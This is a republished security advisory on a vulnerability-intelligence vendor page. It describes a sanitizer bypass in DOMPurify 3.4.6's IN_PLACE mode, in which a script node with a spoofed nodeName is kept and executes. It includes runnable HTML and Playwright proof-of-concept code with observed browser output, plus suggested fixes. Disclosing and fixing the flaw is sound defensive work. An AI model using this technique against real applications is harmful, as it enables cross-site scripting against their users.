Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Checkout DevGuardView on GitHub
Search

GHSA-x4vx-rjvf-j5p4

Published Jun 15, 2026·Last modified Jun 15, 2026
Affected Components(0)

No affected components available

Description

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.

This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected

  • DOMPurify 3.4.6
  • Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) on attacker-supplied live DOM nodes
  • Verified attacker-controlled node sources:
    • same-origin iframe → live node passed by reference
    • same-origin window.open() popup → live node passed by reference
    • same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place

Not affected:

  • String-input DOMPurify.sanitize(dirtyString)

Vulnerability details

Code paths

[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:

const _sanitizeElements = function (currentNode: any): boolean {
  ...
  if (_isClobbered(currentNode)) {
    _forceRemove(currentNode);
    return true;
  }

  const tagName = transformCaseFunc(currentNode.nodeName);
  ...
  if (
    FORBID_TAGS[tagName] ||
    (!(...) && !ALLOWED_TAGS[tagName])
  ) {
    ...
    _forceRemove(currentNode);
    return true;
  }
  ...
};

For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.

[B] — _isClobbered is form-specific:

const _isClobbered = function (element: Element): boolean {
  const realTagName = getNodeName ? getNodeName(element) : null;
  if (typeof realTagName !== 'string') {
    return false;
  }

  if (transformCaseFunc(realTagName) !== 'form') {
    return false;
  }

  return (...);
};

The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.

Why the bypass works

The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.

If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.

For the verified primitive below:

  • the real child node is <script>
  • its script text is attacker-controlled
  • the observable nodeName is attacker-controlled and made to appear as "DIV"
  • _sanitizeElements therefore classifies the real <script> child as an allowed element
  • the real <script> survives in the sanitized tree and executes on insertion

This primitive survives:

  • direct reference passing
  • document.adoptNode(node) followed by IN_PLACE

It does not survive:

  • importNode
  • cloneNode

because those paths materialize a fresh node and discard the hostile object semantics.

Proof of concept

(1) Minimal — runnable in a single browser context

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const foreign = window.open('about:blank', '_blank', 'noopener=no');

  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'window.__pwned = 1';
  Object.defineProperty(script, 'nodeName', {
    value: 'DIV',
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log('output:', host.outerHTML);
  // <div><script>window.__pwned = 1</script></div>

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>

(2) End-to-end — Playwright

const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.goto('about:blank');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(async () => {
    window.__hits = [];

    const foreign = window.open('about:blank', '_blank', 'noopener=no');
    const host = foreign.document.createElement('div');
    const script = foreign.document.createElement('script');
    script.textContent = 'top.__hits.push("script-fired")';
    Object.defineProperty(script, 'nodeName', {
      value: 'DIV',
      configurable: true,
    });
    host.appendChild(script);

    DOMPurify.sanitize(host, { IN_PLACE: true });
    document.body.appendChild(host);

    return {
      version: DOMPurify.version,
      output: host.outerHTML,
      fired: window.__hits.includes('script-fired'),
    };
  });

  console.log(result);
  await browser.close();
})();

Observed:

  • Chromium / Firefox / WebKit
{
  version: '3.4.6',
  output: '<div><script>top.__hits.push("script-fired")</script></div>',
  fired: true
}

Impact

Direct

XSS via retained real <script> nodes inside attacker-supplied live DOM objects.

Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.

The typical pattern is:

// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();

// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);

If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.

Indirect / second-order

  • Applications that accept same-origin plugin / extension / widget DOM and rely on IN_PLACE as the final sanitization step
  • Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization

Suggested fix

Two minimal-risk options:

  1. Stop trusting instance-visible nodeName for the element decision in IN_PLACE.

Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.

In other words, the main pipeline should not do:

const tagName = transformCaseFunc(currentNode.nodeName);

on hostile live objects.

  1. Generalize hostile-node detection beyond form.

The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:

  • nodeName
  • attributes
  • childNodes

Either approach would close the verified primitive above.

Risk Scores
Base Score
0.0

Measures severity based on intrinsic characteristics of the vulnerability, independent of environment.

Threat Intelligence
0.0

No exploitation activity has been observed at this time. Continue routine monitoring.

EPSS
0.15%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard